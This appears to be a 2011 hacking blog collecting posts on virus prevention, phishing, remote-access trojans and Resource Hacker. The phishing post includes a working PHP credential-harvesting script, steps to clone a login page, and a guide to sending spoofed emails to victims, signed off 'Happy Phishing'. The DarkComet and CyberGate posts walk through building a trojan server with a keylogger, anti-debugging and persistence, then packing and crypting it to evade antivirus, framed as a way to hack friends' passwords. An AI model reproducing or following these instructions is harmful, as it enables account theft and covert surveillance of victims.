Become Ethical Hacker.....

Tips to Maintain a Virus Free Computer......

2011-03-07T22:28:00.001-08:00

Is your computer infected with virus? Do you often get mysterious error messages? Well this is a common problem faced by almost all the computer users across the globe. There are many viruses and worms out there that could infect your computer. Some are harmless, but, they do have the capacity to do any number of nasty things, up to and including, erasing all data from your computer. However there are ways to keep viruses away from your PC. Here are the 12 tips to maintain a virus free computer.
1. Email is one of the common ways by which your computer can catch a virus. So it is always recommended to stay away from SPAM. Open only those emails that has it’s origin from a trusted source such as those which comes from your contact list. If you are using your own private email host (other than gmail, yahoo, hotmail etc.) then it is highly recommended that you use a good anti-spam software. And finally NEVER click on any links in the emails that comes from untrusted sources.
2. USB thumb/pen drives is another common way by which viruses spread rapidly. So it is always a good habit to perform a virus scan before copying any data onto your computer. NEVER double-click the pen drive to open it. Instead right-click on it and select the option “open”. This is a safe way to open a pen drive.
3. Be careful about using MS Outlook. Outlook is more susceptible to worms than other e-mail programs, unless you have efficient Anti-Virus programs running. Use Pegasus or Thunderbird (by Mozilla), or a web-based program such as Hotmail or Yahoo (In Firefox).
4. As we all know, Internet is the main source of all the malicious programs including viruses, worms, trojans etc. In fact Internet contributes to virus infection by up to 80%. So here are the tips for safe surfing habits so that you can ward off virus infection up to the maximum extent.
• Don’t click on pop-up windows that announce a sudden disaster in your city or announce that you’ve won an hourly prize. They are the ways to mislead Internet users and you should never trust them.
• You can also use a pop-up blocker to automatically block those pop-ups.
5. Most of us use search engines like Google to find what we are looking for. It is quite obvious for a malicious website to get listed in the search results. So to avoid visiting those untrusted malicious websites, you can download and install the AVG LinkScanner which is a freeware. This tool can become very handy and will help you to stay away from malicious websites.
6. Install a good antivirus software and keep it updated. Also perform full system scan periodically. It is highly recommended that you turn on the automatic update feature. This is the most essential task to protect your PC from virues. If PC security is your first option then it is recommended that you go for a shareware antivirus software over the free ones. Most of the antivirus supports the Auto-Protect feature that provides realtime security for your PC. Make sure that this feature is turned on.
7. Install a good Antispyware program, that operates against Internet malware and spyware.
8. Never open any email attachments that come from untrusted sources. If it is a picture, text or sound file (these attachments end in the extensions .txt, .jpeg, .gif, .bmp, .tif, .mp3, .htm, .html, and .avi), you are probably safe, but still do a scan before opening.
9. Do not use disks that other people gave you, even from work. The disk could be infected with a virus. Of course, you can run a virus scan on it first to check it out.
10. Set up your Windows Update to automatically download patches and upgrades. This will allow your computer to automatically download any updates to both the operating system and Internet Explorer. These updates fix security holes in both pieces of software.
11. While you download files from untrusted websites/sources such as torrents, warez etc. make sure that you run a virus scan before executing them.
12. And finally it is recommended not to visit the websites that feature illegal/unwanted stuffs such as cracks, serials, warez etc. since they contribute much in spreading of viruses and other malicious programs.

Phishing The Art of Hacking....

2011-03-06T23:29:00.001-08:00

What is phishing ?

Phishing is a technique of obtaining sensitive data such username,password,credit card details etc by an attacker by claiming to be a trusted or genuine organisation/company.

The most common type of phishing is Fake Login Pages. The basic methodology of this attack is written below

1.Suppose an attacker wants to hack gmail/yahoo/facebook/bank account of the victim. Attacker creates a fake login page of that website . This fake login page looks exactly like real/genuine login page.

2.Attacker then sends the link of that fake login page to victim through an email or any other means.The sender's email Id is usually spoofed to give an authentic look to it.

3. Victim clicks on the link, fake login page appears in his browser and he enters his credentials in that page thinking that it is genuine.

4.The credentials that are username and password go to the attacker. Hence victim's account gets hacked.

5.Victim is then redirected to any webpage as chosen by attacker. Most probably the victim is redirected

to genuine website or a page displaying an error.

I hope the idea is clear to you. This is the best method to hack anyone's gmail/yahoo/orkut/facebook/bank account.Creating a fake login page is very simple. Then it depends on attacker's smartness that how he manages to fool the victim to get his credentials entered in fake login page. Simply this attack depends on attacker's intelligence as well as victim's carelessness.

Countermeasuers :

The obvious countermeasure is that just dont blindly enter your sensitive data in a webpage that exactly looks likea genuine/real page. Carefully check the URL .But URLs can also be spoofed. The protocol must be hopefully https(secure) instead of http. If you still have doubts, you should check the digital certificate of the website.

Phishing Tutorial

Creating a fake login page and some social engineering trick's.

1.) First part:Creating the Fake Login Page.

In this part of the tutorial I'm going to tell you have to make a fake login page.
This method works for most of the pages but i have chosen Hi5 as an example.

Part 1:

First we create a PHP script that will save the passwords in a text file.

1.) Open notepad and put this code:

CODE

<?php
header ('Location: http://www.hi5.com/friend/login.do ');
$handle = fopen("passwords.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($ handle, "\r\n");
fclose($handle) ;
exit;
?>

2.)Now save this as phish.php

Note:

CODE

header ('Location: http://www.hi5.com/friend/login.do ');

This URL is where the victim is redirected after logging in to you fake page.
The best way to do this is to go to the original site(in this case hi5) and try to login without username and password.Of course then the site will tell you that the username/password incorrect.Now copy that url and paste in that part of the phish.php script.As you can see the hi5 has got "http://www.hi5.com/friend/login.do"

Now we have succesfully created the script that will save the password in a text file which will be later used to see logged victim password's.

Part 2:

Now we go to http://www.hi5.com and right click / View Source.
Now we need to find the place where LOGIN button in Hi5 page send the user after clicking on it.
To do that we search for something like:

CODE

action=anything.

In this case we have:

CODE

action="/friend/login. do"

We replace that part with:

CODE

action="phish.php"

Then we copy the whole source and save this file as login.php.

Now upload these 2 files(login.php and phish.php) to a webhost that supports PHP and you ready to go.Just give your victim the link to your Login.php file and every time they login that php script will create a file titled passwords.txt in the same directory as login.php and phish.php.Just open the password.txt and you will see the passwords.

The phishing link should be something like this:

http://something.awa...e.com/login. php ---> Send this to your victim

And the txt file with the passwords like this:

http://something.awa...m/passwords.txt ---> View the passwords with this one.

1.) Second part:Deceiving the Victim.

Now in this part we are going to see how we can deceive our victims.The way i do it is like this.

1#.Go to your inbox and find a simple hi5 Friend Request.Copy it like in the picture:

2#.Go to http://deadfake.com/Send.aspx , scroll down for a little and paste the invitation like this:

3#
*Now select the "Accept Friend" line.
*Click the hyperlink button.
*Paste your phishing link there.
*Click OK button.
See the pic for more:

4#

Now fill in the fields like this :

To: victimemail@dumb.com
From: info@hi5.com
Subject: Someone has sent you a hi5 Friend Request

Then enter the security code and click send.The e-mail will look like it came from hi5 just that it will redirect the victim to your phishing link instead of hi5.com

The same can be done for facebook and many more websites of your choice.

NOTE:There is a chance that the email wont be sent sometimes.So the best it would be to send it on your own inbox just before you send it to your victim.

Well that's it for today boys and girls.I know it was a long tutorial but believe me it will worth it once you mastered .Let me know what you think.

Happy Phishing.

How To Setup Dark Comet RAT for....Hacking Computers......

2011-03-04T01:48:00.001-08:00

Ok in this thread I will show to the people who don't know how to setup DarkComet RAT v3.0.
I will show how setting up the client and how creating a server with the best settings for run under the most different configurations and ensure there are not compatibility issues with the systems.

Also I provide a package with some extra tools needed in the tuto:

- I coded a very simple runtime crypter to show people how DarkComet can be encrypted without problems with a decent crypter. The detection rate is low only detected by Avira and a-squared. Theorically it can run under x64 systems and of course x86 and under all systems xp/vista/seven.

- I provide a little upx gui tool i found to compress the server and make it size only 250kb without breaking it. The tool is perfect for noobs no command line

-All comes configured and obviously clean and tested

With all of that i only want to show to people how DarkComet can work like charm if its configured correctly and how its perfectly cryptable and the server can be very light.

Download DarkComet RAT v3.0 package

As you notice english is not my first language so dont be a fag and start flaming about this.

Ok after you download the package lets go

After downloading the package i provide extract it and open the folder you will see this content on the folder. Contains the same as de official bundle offered by DarkCoderSC and my crypter, the app to compress the server and the config files of DarkComet. You will notice the DarkComet RAT size is less than the original thats because i compressed it with the compressor when i was testing it.

Execute DarkComet. You will see the main of the program. As you can see the author make good joob with the gui.

The version i provide comes configured so you will ready to use it without troubles. The main part of the client is the general settings were you can configure the appearence of the program and some other accesibility options. One important option here is the password take in mind that if its wrong and its not the same you provided to the server connection attempts wil be refused. I'm sure the main reason of see lot of noobs who start threads regarding darkcomet is because they don't type the correct password and other stupid mistakes like this. Dont be another fag and pay attention to this little things.

In socket list you will see the ports are monitored by the client to establish the desired connections with the servers. As you can see i configured it as by default at port 1604 and with upnp activated. If your router supports upnp port forwarding will do automatically.
What i mean with port forwarding?
To establish connections between the client and the server the port must be open in the router if not the router will refuse all connection attempts and you will look like stupid faggot crying because dont recive any connection and darkcomet its a shit.
I will dont explain here how open the ports on you router(port forwarding) on google there are lot of guides and i don't want to lost more time with it.

To add more listening ports you can do it clicking on listen on the menu or right clicking the listview of the sockets in the socket list tab.

Click in server module and you will see the server builder

Double click to the left column settings-01 and you will show this messagebox that will ensure the settings i configured are loaded over the default settings.

The edit server mode is important to remember if you have in mind to crypt the server. RES mode is compatible with the vast majority of the crypters EOF mode is only compatible with the crypters that support EOF Data like crypters that works with Bifrost.
In password field you need to provide the same password configured in the client if you dont type the same, connections cant be established. The pass i configured with the client is DarkComet.
The mutex is used to avoid to run more than one instance of the server on the same computer to avoid issues.

Here you can configure the ip where the server will connect type your no-ip you have and the port you forwarded correctly and is open and used by the client.

Here you can configure the installation options of the server. The image shows the settings i recommend. Using the app path will ensure your server installs correctly in evrey systems also in systems with limited users privileges. Otherwise the server will fail to install itself and will run on the directory is located. So is and other very important setting to have in mind its not a good scenario run visible on the desktop because it was configured to install itself in system32 and failed because dont have the necessary privileges. The settings i recommend ensure server will be stable and you dont lost connections. Change the name of the process and the folder if you want.

The other options they aren't really important are optional you can decide to bind the file with another or shield even more the server to ensure you dont lost connections but i noticed activating the persistance option of the shield makes the server unkillable even for yourself that you dont be able to uninstall or close the server. Other options like kill some process of windows and other i dont recommend it.

Also you can type a message that will show when the server is executed it can be useful to confuse who executes it and make him believe its corrupt or something like this or evidently you can be a faggot and show to him hes hacked by the supadupa hacker.

You can decide activate the offline keylogger. If you forgot like me to activate me doesnt matter you can activate it later

Final step to get your server you only need to click to the build button and thats all.
You will be askin why we dont compress the server in this step the reason is because seems to dont work very good and dont compress the server as we will compress later that will be reduce a lot the size of the server.

Go to the UPX frontend folder and execute the upxfrontend exe. You will see that window. I think i configured correctly it but if not be sure is configured as in this image of this app will broke your server and will not work. Be sure is configured as in the image. Press start compression and you will see the server is reduced to only 250kbs. Its very small taking in mind the huge functions darkcomet has. Compare it with cybergate that have a lot less functions and the size of the server is the same.
This process cant be maked after crypting the server first the server needs to be packed and then crypted or the server will be broken.

Go to the DarkComet Crypter folder and run the client. Click when it indicated and press encrypt if you selected eof data check the eof data box if not its not needed. After pressing encrypt and if it all worked correctly you will recive this messagebox.

Thats all now you have your server compressed and crypted only 250kb and detected only by avira and a-squared.

And works like a charm

Remember to use DarkComet wisely

How To Setup CyberGate Trojan...To Hack Your Friends Passwords,.....

2011-03-04T01:34:00.001-08:00

This is my first TuT(Tutorial) tell me how i did and comment to tell me how it went. If you have any questions or need help setting this up send me a PM(private Message). Thanks and Good Luck!

Sites we will use

Download CyberGate Here..

&

http://www.no-ip.com/

The first thing you will need to download is Cybergate. You may use any version you would like v1.07.5, v1.05.1, or v1.04.8. They all set up the same.

To download Cybergate go to and click the tab that says CYBERGATE RAT, after you click that it should pop up a new tab.

On this tab look on the right side and click the tab that says RELEASES, here you can download the version of cybergate you wish to hack with.

After you download Cybergate extract the file, open it but don't go any further.

Next you will need to go to http://www.no-ip.com/ and go to the DOWNLOAD tab. After you click the download tab click Windows and go to the bottom of the page to download DUC 2.2.1 client

After you download DUC 2.2.1 client make an account on no-ip and verify your email. (Remember your info for your account you will need it later)

Once signed on to you verified account go to ADD A HOST, there you will make a hostname. Do not mess with any other settings, just type your hostname and select no-ip.org on the drop down list like so.

After you enter your hostname go to the bottom of the page and click CREAT HOST

Now X(exit) out of everything. We can now create our server on cybergate.

open Cybergate and go to Control Center, Start.

Next go to Control Center, DNS Console.

Here, you need to open No-ip/DUC 2.2.1 client (the download from No-ip) and sign in to it with your info from No-ip.com. after you sign in you will see a smiley face with glasses. uncheck and check the box next to the smile face until he blushes. When he blushes keep it checked and X(exit) no-ip.

Next, fill in the information like i did above then click update until it says Success : DNS Hostname Update Successful . after it says that you can X(exit) the DNS Console Box.

Now you are going to go to Start, Options, Select Listening Ports. Here you will decide which port you will use. it doesn't matter which port you use. you can use anything between 1 and 65535 i usually use 80, 82, or 999. its your choice.

When you choose which port you want to use type it in the top box and click the blue arrow pointing to the left.

After you set a port type in your Connection Password and remember it. i suggest you use the same password as you did on no-ip.

After you choose a port and make a password click Save.

Now you can start creating your server, go to Control Center, Builder, and Create Server.

First create a user, I usually just use 0 because its the easiest. After you make one highlight it with your mouse and click the blue arrow that says Forward.

The next Tab is Connection. highlight the default DNS and Port then delete it and ADD a new one but put your I Pv4 Address:then port your using. if you don't know what your I Pv4 Address is you can go back to DNS Console and auto detect it or go to your start and type cmd, once this is open type ipconfig and it should be right there. it should look something like this 10.0.0.14 but i just put random numbers in there. In the boxes to the right put your user for identification and put the same password you used for your connection.

The next tab is Instillation. Pretty much just copy what you see in this picture but remember to click both the random buttons plenty of times.

The next tab is a message box, this is optional.

The next tab is Key logger, the only thing you need checked is Active key logger and DELETE (Backspace). Those are the only two things to mess with so I'm not going to put a picture.

The next tab is anti-debug, you usually always check all them unless your running your server off anything other then a PC like a VMware Or Sandboxie.

The last tab is Create Server, all you need are Use Icon and Compress With UPX checked on this. After you have all the tabs filled out you can click Create Server and save the virus.

Now run it on your own computer and see if it works!
If it doesn't you didn't do one of my steps correctly but if you send me a PM i will help you fix these problems

Good luck and i hope i helped you out with this TuT!

How To get CyberGate Trojan....

2011-03-04T01:14:00.001-08:00

What is CyberGate:

CyberGate is a powerful, fully configurable and stable Remote Administration Tool coded in Delphi that is continuously getting developed by our experienced team.

What it can do :

CyberGate was built to be a tool for various possible applications, ranging from assisting Users with routine maintenance tasks, to remotely monitoring your Children, captures regular user activities and maintain a backup of your typed data automatically. It can also be used as a monitoring device for detecting unauthorized access.
CyberGate achieves this though it's abundant array of features. A few of which are illustrated below :

[+] Automatically map ports if your router supports uPnP;

[+] Multi-Threaded : allowing for multiple clients to be connected, along with increased reliability.

[+] Reverse Connection : Some of the listed advantages of a reverse connection -
# Outgoing connections generally are less treating, and are less likely to be detected or blocked by a firewall, such as a router.
# Since the remote's computer is connecting to the remote administrator, one does not need to know the remote's IP address in order to connect.

# It is much easier to keep track of the computers the RAT is installed on, since they are all "calling home" by connecting to the remote administrator.

[+] User Friendly GUI : The neat and simple GUI of CyberGate make this tool very easy to use and the simplest way to achieve yours goals.

[+] Stealth : The various features of the server installation makes the server extremely customizable accord to each user's needs and requirements.

[+] Keylogger : This tool can be used to find out what is happening on your computer while you are away, maintain a backup of your typed data.

[+] Password recovery : It can be used to recover some of passwords that your forgot long time ago.

[+] Tasks: CyberGate is able to create either tasks for the Client to perform on a specific time after being started or an individual remote whenever it connects back to CyberGate.

[+] Connections tab: You can monitor all the connections and client performance from a connection log that will register actions and time /date for those actions.

[+] File Manager with the ability to download, run, run as administrator, and so many other and the amazing option to see all images of a selected folder as thumbnails;

[+] It can also be used as a monitoring device for detecting unauthorized access.

... and so many other options and features!

How to get CyberGate:

CyberGate comes in two variants, a trial version and a private version distributed to customers only.

Currently with only 1 edition for sale and 3 more editions getting ready for sale in the next few weeks.

Editions:

[+] CyberGate Personal Edition (available)
[+] CyberGate Lite Edition (not available)
[+] CyberGate Professional Edition (not available)
[+] CyberGate Premium Edition (not available)

Download....

How to Change Start Button Text in Windows Using Resource Hacker?

2011-03-04T00:57:00.001-08:00

Before:

After:

1. Open "%windir%\Explorer.exe" file in Resource Hacker.
2. Go to:
"String Table -> 37 -> 1033 -> 578" (If you are using Luna theme)
"String Table -> 38 -> 1033 -> 595" (If you are using Windows Classic theme)
3. You'll get a string "start". Just change it with whatever text you want to show. Make sure you put quotes.
4. Compile the script and save the file. That's it. You have done.

NOTE: To know more about Resource Hacker, Read Following...

This tutorial will help you in understanding this tool and will teach you how to use it. For your convenience, we have divided this tutorial in 2 parts:

PART 1: BASIC INFORMATION
PART 2: ADVANCED INFORMATION

Part 1 provides basic details like viewing or replacing existing resources in a file, etc. Part 2 covers some advance information for geeks, like adding new resources, using scripts, etc.

PART1 : BASIC INFORMATION

[Using Resource Hacker]
When you open a file in Resource Hacker, it shows various directories in left-side pane, like:

AVI - Contains AVI files
Cursor - Contains Cursor files
Bitmap - Contains BMP files
Icon - Contains Icons
Menu - Contains Menus
Dialog - Contains Dialog boxes
String Table - Contains Strings
Accelerators - Contains Shortcut keys
Version Info - Contains Version information of the file

[Viewing Resources]
You can view resource present in the file by expanding the directory given in left-side pane and clicking on the name of the resource. Each resource contains 3 important attributes:

Resource Type
Resource Name
Resource Language

[Changing Resources]
For Icons / Cursors / Bitmaps:
1. First select the resource ( e.g. Bitmap -> 131 -> 1033 ).
2. Now click on Action -> Replace Icon or Cursor or Bitmap....

3. It'll open a new window, click on Open file with new Icon or Cursor or Bitmap button.
4. Select the desired resource using OPEN dialog box, click on Open button and then click on Replace button.
For Other Resources like AVI:
1. Click on Action -> Replace Other Resource....
2. It'll open a new window, click on Open file with new resource button.
3. Select the file and click on Open button.
4. Now you'll need to provide following required information for the resource, which we mentioned earlier:

Resource Type
Resource Name
Resource Language

Resource Type: Mention type of the resource, e.g. if you are replacing AVI file, mention the type as AVI
Resource Name: Provide the same name of the existing resource which you want to replace
Resource Language: Provide language code for the resource, e.g. 1033 for English. You can check existing resource's language code.
5. At last click on Replace button.
[For Menus / Strings / Dialogs]
To change any String, Menu or Dialog box, Select the desired resource, e.g. String Table -> 4 -> 1033, make your changes and at last click on Compile Script button.

It'll immediately compile the script. If you made any mistake while modifying the resource, it'll generate error message so that you can fix it.

PART2 : ADVANCED INFORMATION

[Adding New Resources]
Adding New Bitmaps / Icons / Cursors / AVIs:
1. Click on Action -> Add a new Resource....
2. Now click on Open file with new resource button.

3. Select the desired resource and click on Open button.
4. Give Resource Type, Name and Language as mentioned earlier. But keep in mind that Resource Name should not match with any existing resources name.
5. At last click on Add Resource button.
Adding New Menus:
Go to desired menu, e.g. Menu -> 215 -> 1033. Now add a new line anywhere inside POPUP "" using following format:

MENUITEM "Custom_String", 12345, MFT_STRING, MFS_GRAYED | MFS_DEFAULT

Where:

"Custom_String" is the actual text which you want to show in menu.
12345 is the identifier. It must be different from existing menuitems.
MFS_GRAYED disables the menuitem. You can change it to MFS_ENABLED if you want to show your menuitem enabled.
MFS_DEFAULT shows your menuitem in BOLD. You can omit it.
You can also add a new attribute in the code MFS_HILITE which automatically selects your menuitem.

In fact you can only add following new line in code:

MENUITEM "Custom_String", 12345

And Resource Hacker will automatically insert other remaining values as mentioned above.
[Inserting Newly Added Resources in Dialog Boxes]
Once you finish adding new Icons / Bitmaps / AVIs, you can insert them in any dialog box so that you can show in various Windows dialog boxes like RUN, Progress Dialog box, etc.
1. Go to the desired dialog box, e.g. Dialog -> 1020 -> 1033
2. Right-click in the dialog box and select Insert Control option.

3. It'll open a new window. You'll see many controls in the new window, like BITMAP, LABEL, ICON, BUTTON, SysAnimate32 (for AVIs), etc.
4. Click on any desired control, e.g. to insert a Bitmap, click on the BITMAP control or to insert an AVI, click on SysAnimate32 control.

PS: You can also insert Date/Time in dialog box using SysDateTimePick32 control.
5. Don't forget to fill the Caption entry. You need to enter the Resource Name in Caption textbox, e.g. if you have added a Bitmap and set its Resource Name as 401, then give the same 401 in Caption textbox.

PS: For AVI Control ( SysAnimate32 ), you'll need to append # in Caption value, e.g if the AVI name is 144, then put #144 in Caption textbox.
6. At last click on OK button & then Compile the script.
7. If you want to change the position of the new control in dialog box, simply click on the control and drag it to your desired location or you can also use arrow keys to move it.

Using Scripts in Resource Hacker

We can also run Resource Hacker using Command Prompt and can use scripts to automate lots of repeatative tasks to save our time.
You can use scripts in 2 ways:

Single Command
Multiple Commands

[Single Command]
You can use following commands in Command Prompt to perform actions using Resource Hacker:

-add ExeFileName, ResultingFileName, ResourceAddress, ResourceType, ResourceName,
-addskip ExeFileName, ResultingFileName, ResourceAddress, ResourceType, ResourceName,
-addoverwrite ExeFileName, ResultingFileName, ResourceAddress, ResourceType, ResourceName,
-modify ExeFileName, ResultingFileName, ResourceAddress, ResourceType, ResourceName,
-extract ExeFileName, ResourceAddress, ResourceType, ResourceName,
-delete ExeFileName, ResultingFileName, ResourceType, ResourceName,

Where:

ExeFileName - Source file name
ResultingFileName - Output file name
ResourceAddress - Resource location (e.g. Bitmap path stored in your hard disk)
ResourceType - Resource type (e.g. Bitmap, AVI, etc.)
ResourceName - Resource name (e.g. 131, 1020, etc.)

Example:

ResHacker.exe -addoverwrite explorer.exe, explorer1.exe, MyImage.bmp , bitmap, 143,

[Multiple Commands]
You can also run a series of commands using script. First you'll need to create the script file using Notepad and then you can run it using following command:

ResHacker.exe -script ScriptFileName

Where, ScriptFileName is the name of the script file which you created in Notepad.
Following is the required format of the script file:

[FILENAMES]
Exe=
SaveAs=
Log=
[COMMANDS]
-addoverwrite ResourceAddress, ResourceType, ResourceName

Where:
EXE= contains source file name
SaveAs= contains output file name
Log= contains LOG file name which will store a detailed log of the operation
[COMMANDS] section contains the command-set which we want to perform on the source file.
PS: You can omit the LOG= entry in script file. In this case, Resource Hacker will automatically create a LOG file with the name "ResHacker.log".

Trojans And Backdoors.....a Detailed View.

2011-03-02T22:12:00.001-08:00

Trojans and Backdoors

A Trojan horse is:

o An unauthorized program contained within a legitimate program. This unauthorized program performs functions unknown (and probably unwanted) by the user.

o A legitimate program that has been altered by the placement of unauthorized code within it; this code performs functions unknown (and probably unwanted) by the user.

o Any program that appears to perform a desirable and necessary function but that (because of unauthorized code within it that is unknown to the user) performs functions unknown (and definitely unwanted) by the user.

Trojan horses can do anything that the user who executes the program on the remote machine can. This includes deleting files, transmitting to the intruder any files that can be read, changing any files that can be modified, installing other programs such as programs that provide unauthorized network access that the user is entitled to and executing privilege-elevation attacks; that is, the Trojan horse can attempt to exploit a vulnerability to increase the level of access beyond that of the user running the Trojan horse. If this is successful, the Trojan horse can operate with the increased privileges and go about installing other malicious code.

If the user has administrative access to the operating system, the Trojan horse can do anything that an administrator can.

A compromise of any system on a network may have consequences for the other systems on the network. Particularly vulnerable are systems that transmit authentication material, such as passwords, over shared networks in clear text or in a trivially encrypted form, which is very common.

If a system on such a network is compromised via a Trojan (or another method), the intruder may be able to record usernames and passwords or other sensitive information as it navigates the network.

Additionally, a Trojan, depending on the actions it performs, may falsely implicate the remote system as the source of an attack by spoofing and thereby cause the remote system to incur liability.

Trojans and Backdoors - : Working of Trojans

Ø Attacker gets access to the trojaned system as the system goes online

Ø By way of the access provided by the trojan attacker can stage attacks of different types.

Trojans work similar to the client-server model. Trojans come in two parts, a Client part and a Server part. The attacker deploys the Client to connect to the Server, which runs on the remote machine when the remote user (unknowingly) executes the Trojan on the machine. The typical protocol used by most Trojans is the TCP/IP protocol, but some functions of the Trojans may make use of the UDP protocol as well.

When the Server is activated on the remote computer, it will usually try to remain in a stealth mode, or hidden on the computer. This is configurable - for example in the Back Orifice Trojan, the server can be configured to remain in stealth mode and hide its process. Once activated, the server starts listening on default or configured ports for incoming connections from the attacker. It is usual for Trojans to also modify the registry and/or use some other auto starting method.

To exploit a Trojan, attackers need to ascertain the remote IP address to connect to the machine. Many Trojans have configurable features like mailing the victim's IP, as well as messaging the attacker via ICQ or IRC. This is relevant when the remote machine is on a network with dynamically assigned IP address or when the remote machine uses a dial-up connection to connect to the Internet. DSL users on the other hand, have static IPs so the infected IP is always known to the attacker.

Most of the Trojans use auto-starting methods so that the servers are restarted every time the remote machine reboots / starts. This is also notified to the attacker. As these features are being countered, new auto-starting methods are evolving. The start up method ranges from associating the Trojan with some common executable files such as explorer.exe to the known methods like modifying the system files or the Windows Registry. Some of the popular system files targeted by Trojans are Autostart Folder, Win.ini, System.ini, Wininit.ini, Winstart.bat, Autoexec.bat Config.sys. Could also be used as an auto-starting method for Trojans.

Trojans and Backdoors - :Various Trojan

Ø Remote Access Trojans

Ø Password Sending Trojans

Ø Keyloggers

Ø Destructive

Ø Denial Of Service (DoS) Attack Trojans

Ø Proxy/Wingate Trojans

Ø FTP Trojans

Ø Software Detection Killers

■ Remote Access Trojans

These are the Trojans usually seen referred to in the media and hence gain high visibility because of their ability to give the attackers the power to do more things on the victim's machine than the victim itself, while standing in front of the machine. Most of these Trojans are often a combination of the other variations discussed below.

■ Password Sending Trojans

These Trojans are directed towards extracting all the cached passwords and also capture other passwords entered by the victim and email them across to an attacker specified mail address, without the victim realizing it. The password harvest may include passwords for ICQ, IRC, FTP, HTTP or any other application that require a user to enter a login and password. Most of them do not restart when Windows is loaded, as the objective is to gather as much info about the victim's machine as passwords, mIRC logs, ICQ conversations and mail them to the attacker.

■ Keyloggers

These Trojans log the keystrokes of the victim and then let the attacker search for passwords or other sensitive data in the log file. They usually come with two functions such as online and offline recording. As with the previous group, these Trojans can be configured to send the log file to a specific e-mail address on a regular basis.

■ Destructive

The only function of these Trojans is to destroy and delete files. They can deliberately delete core system files (for example: .dll, .ini or .exe files, possibly others) on the target machine. The Trojan is activated by the attacker or sometimes works like a logic bomb and starts on a specific day and at specific hour.

■ Denial of Service (DoS) Attack Trojans

These Trojans used by attackers to issue a denial of service. A distributed denial of service may also be issued if the attacker has gathered enough victims. WinTrinoo is a DDoS tool that has become popular recently, and if the attacker has infected many ADSL users, major Internet sites could be shut down as a result.

Another variation of a DoS Trojan is the mail-bomb Trojan, whose main aim is to infect as many machines as possible and simultaneously attack specific e-mail address/addresses with random subjects and contents which cannot be filtered.

■ Proxy/Wingate Trojans

Underground sites are known to announce freely available proxy servers. These Trojans turn the victim's computer into a proxy/Wingate server available to the whole world or to the attacker only. It is used for anonymous Telnet, ICQ, IRC, etc., and also to register domains with stolen credit cards and for other illegal activities. This gives the attacker complete anonymity and the chance to do everything and point the trail to the victim.

■ FTP Trojans

These Trojans open port 21(the port for FTP transfers) and lets anybody or just the attacker connect to the machine. They may be password protected so only the attacker is able connect to the computer.

■ Software Detection Killers

There are such functionalities built into some Trojans, but there are also separate programs that will kill Zone Alarm, Norton Anti-Virus and many other (popular anti-virus/firewall) programs, that protect the target machine. When they are disabled, the attacker has full access to the machine to perform some illegal activity or use the computer to attack others and often disappear.

Trojans and Backdoors - :Modes of Transmission

Ø ICQ

Ø IRC

Ø Attachments

Ø Physical Access

Ø Browser And E-mail Software Bugs

Ø NetBIOS (File Sharing)

Ø Fake Programs

Ø Un-trusted Sites And Freeware Software

Ø ICQ

People can also get infected while chatting / talking / video messaging over ICQ or any other Instant Messenger Application. It is a risk that the user undertakes when it comes to receiving files no matter from whom or where it comes.

Ø IRC

Here also, the threat comes from exchange of files no matter what they claim to be or where they come from. It is possible that some of these are infected files or disguised files.

Ø Attachments

Any attachment, even if it is from a known source should be screened as it is possible that the source was infected earlier and is not aware of it.

Ø Physical Access

Physical access to a target machine is perhaps the easiest way for an attacker to infect a machine. The motive may be a prank or just plain curiosity.

Ø Browser and E-mail Software Bugs

Having outdated applications can expose the system to malicious programs such as Trojans without any other action on behalf of the attacker.

Ø NetBIOS (File Sharing)

If port 139 is opened, the attacker can install trojan .exe and modify some system file, so that it will run the next time the system is rebooted. To block file sharing in Windows version, go to: Start->Settings->Control Panel->Network->File and Print Sharing and uncheck the boxes there.

Tools and Softwares for Trojans and Backdoors

Tool: QAZ

Ø It is a companion virus that can spread over the network.

Ø It also has a "backdoor" that will enable a remote user to connect to and control the computer using port 7597.

Ø It may have originally been sent out by email.

Ø Rename notepad to note.com

Ø Modifies the registry key:

HKLM\software\Microsoft\Windows\Current Version\Run

Hacking Tool:Tini

http://ntsecurity.nu/toolbox/tini

It is a very tiny trojan program which is only 3 kb and programmed in assembly language. It takes minimal bandwidth to get on victim's computer and takes small disk space.

Tini only listens on port 7777 and runs a command prompt when someone attaches to this port. The port number is fixed and cannot be customized. This makes it easier for a victim system to detect by scanning for port 7777.

From a tini client you can telnet to tini server at port 7777

Tool: Netcat

Ø Outbound or inbound connections, TCP or UDP, to or from any ports

Ø Ability to use any local source port

Ø Ability to use any locally-configured network source address

Ø Built-in port-scanning capabilities, with randomizer

Ø Built-in loose source-routing capability

Tool: Donald Dick

The attacker uses the client to send command through TCP or SPX to the victim listening on a pre defined port.

Donald Dick uses default port either 23476 or 23477

Donald Dick is a tool that enables a user to control another computer over a network.

It uses a client server architecture with the server residing on the victim's computer.

Tool: SubSeven

o SubSeven is a backdoor program that enables others to gain full access to Windows 9x systems through network connection.

Ø The program consists of three different components : Client (SubSeven.exe), Server (Server.exe) and a Server configuration utility (EditServer.exe).

o The client is a GUI used to connect to server through a network or internet connection.

Since its debut in February, 1999, SubSeven has become a favorite tool of intruders targeting Windows machines.

It is a RAT (Remote Administration Tool) that provides more options for attack than other Trojans like Back Orifice or NetBus. The SubSeven Trojan is consists of three programs: the SubSeven server, client and server editor. It has a DDoS potential and like other Trojans, SubSeven can be used as perfectly benign remote administration program.

The server must be run on the target computer to allow the attacker's computer to connect to the machine and have total access to it. The server editor (EditServer Program) helps configure the infection characteristics. This allows the hacker to specify whether the compromised system should send an email or ICQ notification to the attacker when the target is online, whether the program should "melt server after installation" and which ports the attacker can use to connect to the server. Once installed, SubSeven's friendly user-interface allows the attacker to easily monitor a victim's keystrokes, watch a computer's web cam, take screen shots, eavesdrop through the computer's microphone, control the mouse pointer, read and write files, and sniff traffic off the victim's local network.

Tool: Back Oriffice 2000

Back Orifice accounts for highest number of infestations on Microsoft computers.

The BO2K server code is only 100KB. The client program is 500KB.

Once installed on a victim PC or server machine, BO2K gives the attacker complete control of the system.

BO2K has stealth capabilities, it will not show up on the task list and runs completely in hidden mode.

BO2K was written by DilDog of the Cult of the Dead Cow. Many of the commands that B02K comes with were directly ported from Sir Dystic's original Back Orifice source code. The document says that it was written with a two-fold purpose: "To enhance the Windows operating system's remote administration capability and to point out that Windows was not designed with security in mind."

